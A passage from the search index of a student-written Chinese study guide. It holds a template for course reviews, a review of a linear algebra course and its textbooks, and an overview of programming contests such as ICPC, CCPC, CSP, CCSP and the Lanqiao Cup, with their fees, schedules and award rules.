    "},{"location":"template/","title":"<\u8bfe\u7a0b\u540d\u79f0>","text":"CS <\u4e13\u4e1a\u57fa\u7840/\u4e13\u4e1a\u5fc5\u4fee/\u4e13\u4e1a\u9009\u4fee> AI <\u4e13\u4e1a\u57fa\u7840/\u4e13\u4e1a\u5fc5\u4fee/\u4e13\u4e1a\u9009\u4fee> IS <\u4e13\u4e1a\u57fa\u7840/\u4e13\u4e1a\u5fc5\u4fee/\u4e13\u4e1a\u9009\u4fee> SE <\u4e13\u4e1a\u57fa\u7840/\u4e13\u4e1a\u5fc5\u4fee/\u4e13\u4e1a\u9009\u4fee> \u7d2b\u4e01\u9999 <\u4e13\u4e1a\u57fa\u7840/\u4e13\u4e1a\u5fc5\u4fee/\u4e13\u4e1a\u9009\u4fee>

    \u8bf7\u6ce8\u610f\u76ee\u5f55\u7ed3\u6784\u3002

    \u8981\u60f3\u5728\u53f3\u4fa7\u6e32\u67d3\u51fa\u76ee\u5f55 \u5fc5\u987b\u4ec5\u6709\u4e00\u4e2a\u4e00\u7ea7\u6807\u9898\u6216\u8005\u4ece\u4e8c\u7ea7\u6807\u9898\u5f80\u4e0b\u4e66\u5199

    "},{"location":"template/#_2","title":"\u8bfe\u7a0b\u5b66\u4e60\u5185\u5bb9","text":"

    <\u8bfe\u7a0b\u5b66\u4e60\u5185\u5bb9>

    "},{"location":"template/#_3","title":"\u5148\u4fee\u8981\u6c42","text":"

    <\u5148\u4fee\u8981\u6c42(\u6ca1\u6709\u5c31\u5199\u65e0\u6216\u8005\u7565\u53bb\u8fd9\u4e00\u9879)>

    "},{"location":"template/#_4","title":"\u4efb\u8bfe\u6559\u5e08","text":"<\u6559\u5e081><\u6559\u5e082>

    <\u6388\u8bfe\u65b9\u5f0f\uff08\u5982\u662f\u5426\u53cc\u8bed\u3001\u677f\u4e66/PPT/\u5176\u4ed6\uff09\u3001\u6388\u8bfe\u6c34\u5e73\u3001\u7ed9\u5206\u60c5\u51b5\u7b49>

    <\u6388\u8bfe\u65b9\u5f0f\uff08\u5982\u662f\u5426\u53cc\u8bed\u3001\u677f\u4e66/PPT/\u5176\u4ed6\uff09\u3001\u6388\u8bfe\u6c34\u5e73\u3001\u7ed9\u5206\u60c5\u51b5\u7b49>

    Note

    \u5982\u679c\u53ea\u6709\u4e00\u4e2a/\u7ec4\u8001\u5e08\uff0c\u6216\u8005\u8001\u5e08\u4e4b\u95f4\u5dee\u522b\u4e0d\u5927\uff0c\u53ef\u4ee5\u76f4\u63a5\u5199\u6587\u672c\u3002\u5426\u5219\u5efa\u8bae\u4ee5\u8fd9\u79cd\u5f62\u5f0f\u6765\u5199\uff1a

    === \"<\u6559\u5e081>\"\n\n    <\u6388\u8bfe\u65b9\u5f0f\uff08\u5982\u662f\u5426\u53cc\u8bed\u3001\u677f\u4e66/PPT/\u5176\u4ed6\uff09\u3001\u6388\u8bfe\u6c34\u5e73\u3001\u7ed9\u5206\u60c5\u51b5\u7b49>\n\n=== \"<\u6559\u5e082>\" \n\n    <\u6388\u8bfe\u65b9\u5f0f\uff08\u5982\u662f\u5426\u53cc\u8bed\u3001\u677f\u4e66/PPT/\u5176\u4ed6\uff09\u3001\u6388\u8bfe\u6c34\u5e73\u3001\u7ed9\u5206\u60c5\u51b5\u7b49>\n
    \u6ce8\u610f\u6559\u5e08\u5de6\u53f3\u7684\u5f15\u53f7\uff0c\u4ee5\u53ca\u6bb5\u843d\u5185\u5bb9\u8981\u5168\u90e8\u7f29\u8fdb 4 \u7a7a\u683c\u3002

    "},{"location":"template/#_5","title":"\u8bfe\u7a0b\u6559\u6750","text":"

    <\u6559\u6750\u540d>

    (\u53ef\u9009)<\u5bf9\u6559\u6750\u7684\u8bc4\u4ef7\uff08\u5982\u662f\u5426\u7528\u6765\u5e03\u7f6e\u4f5c\u4e1a\uff0c\u4e0a\u8bfe\u6240\u8bb2\u4e0e\u6559\u6750\u7ed3\u5408\u662f\u5426\u7d27\u5bc6\uff0c\u662f\u5426\u53ef\u4ee5\u901a\u8fc7\u6559\u6750\u81ea\u4e3b\u5b66\u4e60\u7b49\uff09>

    "},{"location":"template/#_6","title":"\u5206\u6570\u6784\u6210","text":"<\u6559\u5e081><\u6559\u5e082>

    <\u5206\u6570\u6784\u6210\uff0c\u53ef\u5177\u4f53\u4ecb\u7ecd\u5404\u90e8\u5206\uff0c\u5982\u4f5c\u4e1a\u60c5\u51b5\u3001\u5b9e\u9a8c\u5185\u5bb9\u53ca\u5f62\u5f0f\u3001\u8003\u8bd5\u8303\u56f4\u53ca\u5f62\u5f0f\u7b49>

    <\u5206\u6570\u6784\u6210\uff0c\u53ef\u5177\u4f53\u4ecb\u7ecd\u5404\u90e8\u5206\uff0c\u5982\u4f5c\u4e1a\u60c5\u51b5\u3001\u5b9e\u9a8c\u5185\u5bb9\u53ca\u5f62\u5f0f\u3001\u8003\u8bd5\u8303\u56f4\u53ca\u5f62\u5f0f\u7b49>

    Note

    \u540c\u4e0a\uff0c\u5982\u679c\u5404\u6559\u5b66\u73ed\u5206\u6570\u6784\u6210\u4e00\u81f4\u5219\u53ef\u4ee5\u76f4\u63a5\u5199\u6587\u672c\uff0c\u5426\u5219\u5efa\u8bae\u540c\u4e0a\u5f62\u5f0f\u3002

    "},{"location":"template/#_7","title":"<\u5176\u4ed6\u53ef\u9009\u9879\u76ee>","text":"

    \u5305\u62ec \u63a8\u8350\u4e66\u5355\u3001\u53c2\u8003\u7b14\u8bb0\u3001\u5176\u4ed6\u8d44\u6e90\u3001\u8bfe\u7a0b\u5b66\u4e60\u5efa\u8bae\u3001\u4e2a\u4eba\u8bc4\u8bba\u3001\u540e\u7eed\u8bfe\u7a0b \u7b49\uff0c\u6bcf\u4e00\u4e2a\u5360\u4e00\u4e2a\u4e8c\u7ea7\u6807\u9898\uff08##\uff09

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    WP

    2024-04-22\u2003\u2003 Contributors

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    2024-04-22\u2003\u2003 Contributors

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    ppt\u5c31\u662f\u6284\u4e66\uff0c\u8fdc\u53e4\u8001\u7247\u7ea7\u522b\u7684\uff0c\u91cd\u70b9\u5728\u4e8e\u8001\u5e08\u548b\u8bb2\uff0c\u8001\u5e08\u4f1a\u62ff\u4e8c\u9636\u6216\u8005\u4e09\u9636\u7684\u5148\u4e3e\u4f8b\uff0c\u7136\u540e\u8bf4\"\u53cd\u6b63\u8fd9\u4e48\u5199\u80af\u5b9a\u6ca1\u95ee\u9898\"\uff0c\u56de\u7b54\u63d0\u95ee\u8fd8\u7b97\u79ef\u6781\uff0c\u5468\u56db\u665a\u4e03\u70b9\u4f1a\u5728N\u697c\u96c6\u4e2d\u7b54\u7591\uff0c\u6ca1\u548b\u70b9\u8fc7\u540d\uff0c\u4e5f\u6ca1\u548b\u63d0\u95ee\u8fc7\u95ee\u9898\u3002\u987a\u5e26\u63d2\u53e5\u5634\uff0c\u8001\u5e08\u8ba8\u538c\u4e0a\u8bfe\u4e0a\u5395\u6240\u7684\u5b66\u751f\uff0c\u8fdf\u5230\u4e86\u8fd8\u4f1a\u76f4\u63a5\u628a\u4f60\u9501\u5728\u95e8\u5916\uff0c\u8fd9\u4e2a\u7ea2\u7ebf\u5efa\u8bae\u522b\u78b0

    "},{"location":"basic/lin-algebra/#_5","title":"\u8bfe\u7a0b\u6559\u6750","text":"

    \u7ebf\u6027\u4ee3\u6570\u4e0e\u7a7a\u95f4\u89e3\u6790\u51e0\u4f55

    \u53cd\u6b63\u6211\u770b\u4e0d\u61c2\uff0c\u8ddf\u540c\u6d4e\u5dee\u4e0d\u591a\u7684\u6c34\u5e73\uff0c\u4e66\u540e\u9898\u524d\u51e0\u7ae0\u8fd8\u7b97\u6b63\u5e38\uff0c\u8d8a\u5f80\u540e\u8d8a\u504f\u5411\u7406\u8bba\u8bc1\u660e\uff0c\u8ddf\u8003\u8bd5\u5c31\u5173\u7cfb\u4e0d\u5927\u4e86\uff0c\u4f46\u662f\u8001\u5e08\u8fd8\u7ed9\u8bb2

    \u7ebf\u6027\u4ee3\u6570\u4e0e\u7a7a\u95f4\u89e3\u6790\u51e0\u4f55\u540c\u6b65\u8f85\u5bfc\u4e60\u9898\u96c6

    \u548c\u5fae\u79ef\u5206\u5c0f\u7d2b\u4e00\u6837\uff0c\u4e5f\u8bb8\u5728\u4e0d\u4e45\u7684\u5c06\u6765\u4f1a\u88ab\u53d6\u4ee3

    \u8fd9\u91cc\u7684\u9898\u6bd4\u8f83\u6b63\u5e38\uff0c\u8001\u5e08\u4e5f\u4f1a\u4e0a\u8bfe\u62bd\u65f6\u95f4\u8bb2\u4e00\u8bb2

    "},{"location":"basic/lin-algebra/#_6","title":"\u5206\u6570\u6784\u6210","text":"\u5415\u656c\u4eae

    \u8d44\u6599\u7f3a\u5931

    "},{"location":"basic/lin-algebra/#_7","title":"\u8350\u4e66","text":"

    Introduction to Linear Algebra

    MIT\u7684Gilbert Strang\u7684\u529b\u4f5c\uff0c\u4e5f\u7b97\u662f\u4e00\u672c\u8001\u4e66\u3002\u54c8v\u56fe\u4e66\u9986\u6570\u5b66\u533a\u5c31\u5269\u4e00\u672c\u4e86\uff0c\u7f51\u4e0a\u4e70\u539f\u7248\u8981\u4e03\u767e\u591a\uff0c\u8fd8\u662f\u770b\u7535\u5b50\u7248\u5427\u3002\u5f88\u591a\u4eba\u8bf4\u8fd9\u672c\u4e66\u7528\u65b9\u7a0b\u7ec4\u5f15\u5165\u4f1a\u597d\u61c2\u4e00\u70b9\u513f

    Linear Algebra with Applications

    \u987e\u540d\u601d\u4e49\u8fd9\u672c\u4e66\u504f\u5411\u5e94\u7528\uff08\u5176\u5b9e\u5c31\u662f\u89e3\u65b9\u7a0b\uff09\uff0c\u8ddfMATLAB\u6302\u94a9\u6bd4\u8f83\u7d27\uff0c\u5927\u81f4\u5f15\u5165\u601d\u8def\u548c\u4e0a\u5934\u90a3\u672c\u5dee\u4e0d\u592a\u591a

    "},{"location":"basic/lin-algebra/#_8","title":"\u8bfe\u7a0b\u7f16\u53f7","text":"

    XYWHMA15003

    2024-04-24\u2003\u2003 Contributors

    "},{"location":"competition/","title":"\u4ecb\u7ecd","text":"

    \u8ba1\u7b97\u673a\u76f8\u5173\u7684\u6bd4\u8d5b\u4ecb\u7ecd\uff0c\u56e0\u4e3a\u8ba1\u7b97\u673a\u62e5\u6709\u5f88\u591a\u7684\u7ade\u8d5b\uff0c\u4e0d\u4ec5\u4ec5\u662f\u4fdd\u7814\u76f8\u5173\u548c\u699c\u5355\u8d5b\u4e8b\uff0c\u4e5f\u6709\u5f88\u591a\u6709\u542b\u91d1\u91cf\u7684\u6bd4\u8d5b\u3002

    \u5e0c\u671b\u8fd9\u4e2a\u4ecb\u7ecd\u80fd\u591f\u5e2e\u52a9\u5230\u5927\u5bb6\u3002

    2024-04-22\u2003\u2003 Contributors

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/","title":"\u54c8v\u7b97\u6cd5\u7ade\u8d5b\u76f8\u5173\u6307\u5317","text":"

    Author: ASDFO\uff0cWandering

    \u6ce8\u610f\uff0c\u76f8\u5173\u8d5b\u4e8b\u5956\u9879\u7406\u8bba\u4e0a\u90fd\u53ef\u4ee5\u4f5c\u4e3a\u521b\u65b0\u521b\u4e1a\u5206\u7684\u8ba4\u5b9a\u4f9d\u636e\uff0c\u6700\u7ec8\u8ba4\u5b9a\u9700\u8981\u6839\u636e\u5b66\u751f\u624b\u518c\u548c\u6559\u5b66\u79d8\u4e66\u7684\u6700\u7ec8\u51b3\u5b9a\u3002

    2023\u5e74\u5f00\u59cb\uff0c\u6bd5\u4e1a\u6240\u9700\u521b\u65b0\u521b\u4e1a\u5206 + \u793e\u4f1a\u5b9e\u8df5\u5b66\u5206\u4e3a6\u5206\u3002

    2023\u5e74\uff0cICPC\u6bd4\u8d5b\u3001CCPC\u6bd4\u8d5b\u3001CCF-CSP\u8003\u8bd5\u3001\u84dd\u6865\u676f\u6bd4\u8d5b\u3001\u5929\u68af\u8d5b\u65e5\u7a0b_\u84dd\u6865\u676f2023\u5e74\u6bd4\u8d5b\u65f6\u95f4-CSDN\u535a\u5ba2 \u4e00\u4e9b\u65f6\u95f4\u53c2\u8003\u3002

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#_1","title":"\u56e2\u961f\u8d5b","text":""},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#icpc","title":"ICPC","text":"

    \u8d5b\u4e8b\u5b98\u7f51\uff1aThe ICPC International Collegiate Programming Contest ICPC\u5317\u4eac\u603b\u90e8 (pku.edu.cn)

    \u5206\u4e3a\u7f51\u7edc\u8d5b\u3001\u7701\u8d5b\u3001\u533a\u57df\u8d5b\u3001\u4e1c\u4e9a\u6d32\u533a\u603b\u51b3\u8d5b\u3001WorldFinal

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#_2","title":"\u8d5b\u4e8b\u65f6\u95f4\u8282\u70b9\uff08\u6309\u65f6\u95f4\u987a\u5e8f\uff09","text":""},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#_3","title":"\u7f51\u7edc\u8d5b","text":"

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    \u5173\u4e8e\u8d5b\u4e8b\u540d\u989d\u5206\u914d\uff1a

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    \u4e0d\u7ba1\u600e\u4e48\u8bf4\uff0c\u6253\u7684\u8d8a\u597d\uff0c\u540d\u989d\u8d8a\u591a\uff0c\u5f97\u5230\u7684\u953b\u70bc\u673a\u4f1a\u4e5f\u8d8a\u591a\uff0c\u5f3a\u8005\u6052\u5f3a\u3002

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#_4","title":"\u533a\u57df\u8d5b","text":"

    2023\u5e74\u7684\u65f6\u95f4\u5b89\u6392\uff0c\u6bcf\u5e74\u4f3c\u4e4e\u4e5f\u662f\u8fd9\u51e0\u4e2a\u8d5b\u7ad9\uff0c\u540d\u989d\u548c\u7f51\u7edc\u8d5b + \u9080\u8bf7\u8d5b + \u5176\u4ed6\u56e0\u7d20\u7efc\u5408\u4e0b\u6765\u7684\u540d\u989d\u6709\u5173\uff0c\u7136\u540e\u6821\u961f\u6309\u7167\u7f51\u7edc\u8d5b\u6210\u7ee9\u4ece\u9ad8\u5230\u4f4e\u62a5\u540d\uff0c\u6bcf\u652f\u961f\u4f0d\u53ef\u4ee5\u62a5\u540d\u4e24\u573a\u6bd4\u8d5b\u3002

    \u5173\u4e8e\u8d5b\u7ad9\u7684\u9009\u62e9\uff0c\u548c\u80fd\u5426\u83b7\u5956\u6709\u6240\u5173\u7cfb\uff0c\u4e00\u573a\u6bd4\u8d5b\u7684\u547d\u9898\u597d\u574f\uff0c\u8d5b\u7ad9\u9009\u62e9\u7684\u5f3a\u961f\u6709\u591a\u5c11\uff0c\u90fd\u4f1a\u51b3\u5b9a\u4f60\u662f\u5426\u80fd\u591f\u5728\u5f53\u573a\u6bd4\u8d5b\u83b7\u5956\uff0c\u4f46\u662f\u8fd9\u662f\u53e6\u5916\u7684\u8bdd\u9898\uff0c\u4f60\u591f\u5f3a\u4e00\u5207\u90fd\u4e0d\u662f\u95ee\u9898\u3002

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    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#ec-final","title":"EC-Final","text":"

    \u8fd9\u4e2a\u5c31\u4e0d\u662f\u4f60\u62a5\u540d\u5c31\u80fd\u53c2\u52a0\u7684\u4e86\uff0c\u9700\u8981\u4f60\u5728\u533a\u57df\u8d5b\u4e2d\u83b7\u5f97\u91d1\u724c\u6216\u8005\u94f6\u724c\u9760\u524d\u7684\u4f4d\u7f6e\u624d\u80fd\u6709\u8d44\u683c\u53c2\u8d5b\uff0c\u8fc7\u53bb\u4e24\u5e74\u90fd\u662f\u5728\u4e0a\u6d77\u5927\u5b66\u4f53\u80b2\u9986\u4e3e\u529e\uff0c\u534e\u4e3a\u4e5f\u4f1a\u5728\u5e02\u4e2d\u5fc3\u8bf7\u4f60\u5403\u996d\uff082024\u5e74\u662f\u6b63\u5927\u5e7f\u573a\uff0c\u540c\u65f6\u6709\u73b0\u573a\u62bd\u5956\uff09

    \u9644\u4e0a\u4e0a\u6d77\u5927\u5b66ACM\u4ff1\u4e50\u90e8\u9a7b\u5730\uff1a

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#acm","title":"\u5a01\u6d77\u5e02 ACM \u7ade\u8d5b","text":"

    \u62a5\u540d\u8d39\u7528 240\u5143\uff0c\u6ca1\u5730\u65b9\u62a5\u9500\uff0c\u53d1\u4e00\u4ef6\u6587\u5316\u886b + \u83b7\u5956\u4e4b\u540e\u7684\u5404\u79cd\u5956\u54c1

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    \u65f6\u95f4\u5728\u6bcf\u5e74 5\u6708\u4efd

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#ccpc","title":"CCPC","text":"

    \u4e2d\u56fd\u5927\u5b66\u751f\u7a0b\u5e8f\u8bbe\u8ba1\u7ade\u8d5b (ccpc.io)

    \u4e2d\u56fd\u5927\u5b66\u751f\u7a0b\u5e8f\u8bbe\u8ba1\u7ade\u8d5b\uff0c\u8ddfICPC\u5728\u4e3e\u529e\u5f62\u5f0f\u4e0a\u6ca1\u4ec0\u4e48\u5dee\u522b\uff0c\u533a\u522b\u662f\u4e0d\u5728\u699c\u5355\u4e0a\uff0c\u4e14\u7531\u4e8e\u89c4\u6a21\u7565\u5c0f\u4f1a\u6bd4ICPC\u533a\u57df\u8d5b\u62ff\u5956\u96be\u5ea6\u7a0d\u5fae\u9ad8\u4e00\u4e9b\u3002

    \u5206\u4e3a\u7701\u8d5b\uff08\u5c71\u4e1c\u7701\u8d5b\u5c5e\u4e8eICPC\u8fd8\u662fCCPC\u770b\u627f\u529e\u5b66\u6821\u548c\u54ea\u8fb9\u5173\u7cfb\u597d\uff09\u3001\u5206\u7ad9\u8d5b\uff08\u5305\u62ec\u5973\u751f\u4e13\u573a\u3001\u9ad8\u804c\u8d5b\uff09\u548c\u5168\u56fd\u603b\u51b3\u8d5b\u3002

    \u6bcf\u5e748-9\u6708\u4f1a\u6709\u4e00\u6b21\u7f51\u7edc\u9884\u9009\u8d5b\uff0c\u6839\u636e\u7f51\u7edc\u9884\u9009\u8d5b\u6210\u7ee9\u548c\u4e00\u4e9b\u5176\u4ed6\u56e0\u7d20\u5206\u914d\u5404\u8d5b\u7ad9\u540d\u989d\u3002\u56db\u573a\u5206\u7ad9\u8d5b\u572810-11\u6708\u5168\u56fd\u5404\u627f\u529e\u5b66\u6821\u4e3e\u884c\uff0c\u603b\u51b3\u8d5b\u6b21\u5e74\u5e74\u4e2d\u4e3e\u884c\uff0c\u6309\u5206\u7ad9\u8d5b\u6210\u7ee9\u664b\u7ea7\u3002

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#_5","title":"\u4e2a\u4eba\u8d5b","text":""},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#acm_1","title":"\u6821ACM\u65b0\u751f\u8d5b","text":"

    \u6bcf\u5e7412\u6708\u5de6\u53f3\u4f1a\u4e3e\u884c\u9762\u5411\u5168\u6821\u65b0\u751f\u7684ACM\u65b0\u751f\u8d5b\uff0c\u53ea\u6709\u5927\u4e00\u65b0\u751f\u6216\u5927\u4e00\u4e0b\u5b66C\u8bed\u8a00\u7684\u5927\u4e8c\u5b66\u751f\u6709\u8d44\u683c\u6b63\u5f0f\u53c2\u8d5b\uff0c\u6392\u540d\u4f1a\u4f5c\u4e3a\u4e86\u89e3\u5b9e\u529b\u3001\u4e92\u76f8\u7ec4\u961f\u3001\u9009\u4e0b\u5b66\u671f\u7684\u521b\u65b0\u521b\u4e1a\u8bfe\u7684\u53c2\u8003\u548c\u4f9d\u636e\u3002

    ICPC\u8d5b\u5236\u3001\u4e2a\u4eba\u8d5b\uff0c\u6309\u7167\u6709\u6548\u53c2\u8d5b\u4eba\u6570\u768410\uff05\uff0c20\uff05\uff0c30\uff05\uff08\u5411\u4e0a\u53d6\u6574\uff09\u53d1\u653e\u91d1\u3001\u94f6\u3001\u94dc\u5956\u3002

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#csp","title":"CSP\u8ba4\u8bc1","text":"

    CCF CSP\u8ba4\u8bc1 (cspro.org)

    CCF\uff08\u4e2d\u56fd\u8ba1\u7b97\u673a\u5b66\u4f1a\uff09\u7ec4\u7ec7\u7684\u8ba4\u8bc1\uff0c\u6bcf\u5e744\u573a\uff0c\u8fbe\u5230\u76f8\u5e94\u5206\u6570\u53ef\u4ee5\u53c2\u4e0e\u8ba1\u9662\u521b\u65b0\u521b\u4e1a\u5206\u8ba4\u5b9a\u3002

    \u7528\u5904\u662f\u4e00\u4e9b\u4fdd\u7814\u590f\u4ee4\u8425\u53ef\u4ee5\u6298\u7b97\u673a\u8003\u6210\u7ee9\uff0c\u62ff\u5230\u4e00\u4e2a\u76f8\u5bf9\u4e0d\u9519\u7684\u673a\u8003\u5206\uff0c\u8fd8\u80fd\u514d\u53bb\u4e0a\u673a\u8003\u8bd5\u3002\uff08eg.\u5317\u822a\uff0c\u4eba\u5927\uff0c...\uff09

    \u51715\u9053\u9898\uff0c\u5927\u6982\u662f2\u9053\u57fa\u7840\u5b9e\u73b0\u9898\uff0c1\u9053\u5927\u6a21\u62df\u9898\uff0c2\u9053\u7b97\u6cd5\u9898\uff0cIOI\u8d5b\u5236\uff08\u65e0\u9650\u6b21\u63d0\u4ea4\uff0c\u6709\u90e8\u5206\u5206\uff0c\u7ed3\u679c\u5b9e\u65f6\u53cd\u9988\uff09\u3002

    \u6ee1\u5206500\u5206\uff0c\u4e00\u822c240\u5206\u80fd\u8fdb\u524d10\uff05\uff0c300\u5206\u80fd\u8fdb\u524d2\uff05\u3002

    \u62a5\u540d\u8d39\u56e2\u62a5\u4f18\u60e0\u4ef750\uff0c\u4e00\u6b21\u6210\u7ee9\u4e0d\u6ee1\u610f\u53ef\u4ee5\u5237\u5206\uff0c\u641e\u70b9\u521b\u65b0\u521b\u4e1a\u5206\u633a\u9999\u7684\u3002

    QQ\u7fa4\uff1a1084373123

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#ccsp","title":"CCSP","text":"

    CCSP - \u4e2d\u56fd\u8ba1\u7b97\u673a\u5b66\u4f1a (ccf.org.cn)

    CCF\u5728CSP\u8ba4\u8bc1\u57fa\u7840\u4e0a\u7ec4\u7ec7\u7684\u6bd4\u8d5b\uff0c\u5168\u79f0CCF \u5927\u5b66\u751f\u8ba1\u7b97\u673a\u7cfb\u7edf\u4e0e\u7a0b\u5e8f\u8bbe\u8ba1\u7ade\u8d5b\uff0c\u786c\u6027\u6761\u4ef6\u662fCSP200\u5206\u4ee5\u4e0a\u3002

    \u6bcf\u5e74\u8ddf\u7740CNCC\u4e2d\u56fd\u8ba1\u7b97\u673a\u5927\u4f1a\u7ec4\u7ec7\u7684\u6bd4\u8d5b\uff0c\u65f6\u95f4\u5927\u6982\u662f11\u6708\u5de6\u53f3\uff0c\u4f18\u70b9\u662f\u62a5\u540d\u540e\u9644\u8d60\u4e00\u4e2aCNCC\u5927\u4f1a\u7684\u5165\u573a\u5377\uff08\u4f60\u8981\u771f\u62a5\u5f972000\u591a\u5462\uff09\uff0c\u53ef\u4ee5\u53bb\u611f\u53d7\u4e00\u4e0b\u3002

    \u630910\uff05\uff0c20\uff05\uff0c30\uff05\u6bd4\u4f8b\u53d1\u91d1\u94f6\u94dc\u5956\u3002\u6bd4\u8d5b\u51715\u9053\u9898\uff0c\u5176\u4e2d3\u9053\u7b97\u6cd5\u9898\uff0c2\u9053\u6bd4\u8f83\u65b0\u9896\u7684\u7cfb\u7edf\u9898\uff0cIOI\u8d5b\u5236\uff0c\u6bd4\u8f83\u8003\u5bdf\u7efc\u5408\u80fd\u529b\u3002

    \u62a5\u540d\u8d39500\uff0c\u7ebf\u4e0b\u6bd4\u8d5b\uff0c\u4eca\u5e74\u7684\u653f\u7b56\u662f\u62a5\u9500\u62a5\u540d\u8d39\u548c\u5dee\u65c5\u8d39\uff0c\u4f46\u662f\u9700\u8981CSP\u8ba4\u8bc1\u8fbe\u5230\u4e00\u5b9a\u6210\u7ee9\u3002

    "},{"location":"competition/%E5%93%88v%E7%AE%97%E6%B3%95%E7%AB%9E%E8%B5%9B%E6%8C%87%E5%8C%97/#_6","title":"\u84dd\u6865\u676f","text":"

    \u84dd\u6865\u676f\u5927\u8d5b \u2014 \u5168\u56fd\u5927\u5b66\u751fTMT\u884c\u4e1a\u8d5b\u4e8b (lanqiao.cn)

    \u5e94\u8be5\u7b97\u662f\u53c2\u4e0e\u89c4\u6a21\u6700\u5927\u7684\u7b97\u6cd5\u76f8\u5173\u8d5b\u4e8b\u4e86\uff0c\u4f46\u662f\u56e0\u4e3a\u6536\u8d39\u4e0d\u4fbf\u5b9c\u5e38\u5e74\u88ab\u4eba\u5410\u69fd\u5708\u94b1\u3002\u5982\u679c\u9700\u8981\u4e00\u4e9b\u5956\u9879\u7684\u8bdd\u8fd9\u4e2a\u4e5f\u662f\u4e00\u4e2a\u4e0d\u9519\u7684\u9009\u62e9\uff0c\u4f5c\u4e3a\u699c\u5355\u8d5b\u4e8b\u8fd8\u662f\u6709\u4e00\u5b9a\u8ba4\u53ef\u5ea6\u7684\uff0c\u56fd\u8d5b\u7684C++ A\u7ec4\u662f\u5176\u4e2d\u6700\u96be\u7684\u3002

    \u5206\u4e3a\u7701\u8d5b\u548c\u56fd\u8d5b\uff08\u597d\u50cf\u8fd8\u6709\u4e2a\u6821\u5185\u8d5b\uff0c\u4f46\u662f\u4f53\u9a8c\u6027\u8d28\u4e3a\u4e3b\uff09\uff0c\u62a5\u540d\u65f6\u95f4\u662f\u6bcf\u5e74\u768410\u6708-12\u6708\uff0c\u6b21\u5e744\u6708\u7701\u8d5b\uff0c6\u6708\u56fd\u8d5b\u3002

    \u7701\u8d5b\u630910\uff05\uff0c20\uff05\uff0c30\uff05\u6bd4\u4f8b\u53d1\u5956\uff0c\u4e00\u7b49\u5956\u53ef\u4ee5\u6709\u8fdb\u56fd\u8d5b\u8d44\u683c\u3002\u56fd\u8d5b\u4fdd\u5e95\u56fd\u4f18\uff0c\u7136\u540e\u6309\u71675\uff05\uff0c15\uff05\uff0c30\uff05\u53d1\u4e00\u81f3\u4e09\u7b49\u5956\u3002

    \u7279\u70b9\u662f\u6709\u5f88\u591a\u8d5b\u9053\uff0cC++\u7ec4\u5377\u4e0d\u8fc7\u53ef\u4ee5\u53bbPython\uff0cJava\u7ec4\uff0c\u8fd8\u6709\u7535\u5b50\u8d5b\u3001Web\u5f00\u53d1\u7ec4\u8fd9\u6837\u7684\uff0c\u4f46\u662f\u6ca1\u6709\u4f53\u9a8c\u8fc7\u5c31\u4e0d\u8bc4\u8bba\u4e86\u3002

    \u9700\u8981\u6ce8\u610f\u7684\u662f\u8fd9\u4e2a\u662fOI\u8d5b\u5236\uff08\u6709\u90e8\u5206\u5206\uff0c\u4ee5\u6700\u540e\u4e00\u6b21\u63d0\u4ea4\u4e3a\u51c6\uff0c\u6bd4\u8d5b\u8fc7\u7a0b\u4e2d\u4e0d\u77e5\u9053\u5f97\u5206\uff09\uff0c\u6ca1\u6709\u5c1d\u8bd5\u8fc7\u7684\u540c\u5b66\u5efa\u8bae\u63d0\u524d\u5229\u7528\u4e0b\u5f80\u5e74\u9898\u5e93\u6a21\u62df\uff0c\u4e0d\u8981\u51fa\u73b0\u6700\u540e\u56e0\u4e3a\u5404\u79cd\u7ec6\u8282\u95ee\u9898\u7206\u96f6\u7684\u60c5\u51b5\u3002\u4e00\u822c\u662f\u4f1a\u670910\u9053\u9898\uff0c\u5176\u4e2d\u524d4\u9898\u662f\u586b\u7a7a\u9898\uff0c\u53ef\u4ee5\u901a\u8fc7\u66b4\u529b\u6216\u8005\u624b\u5199\u8ba1\u7b97\u7b97\u51fa\u7ed3\u679c\uff0c\u5269\u4e0b\u7684\u4e3a\u7f16\u7a0b\u9898\uff0c\u9700\u8981\u6839\u636e\u9898\u76ee\u6570\u636e\u8303\u56f4\u9009\u62e9\u76f8\u5e94\u7b97\u6cd5\u89e3\u51b3\u3002

    \u7701\u8d5b\u62a5\u540d\u8d39300\uff0c\u7ebf\u4e0a\u6bd4\u8d5b\u3002\u56fd\u8d5b\u62a5\u540d\u8d39300\uff0c\u7ebf\u4e0b\u6bd4\u8d5b\u3002\u653f\u7b56\u5927\u6982\u662f\u7701\u8d5b\u4e0d\u62a5\u9500\uff08\u6216\u8005\u53d1\u653e\u4e00\u70b9\u5956\u54c1\uff09\uff0c\u56fd\u8d5b\u6839\u636e\u5956\u9879\u6309\u4e00\u5b9a\u6bd4\u4f8b\u62a5\u9500\u3002

    QQ\u7fa4\uff1a554521887

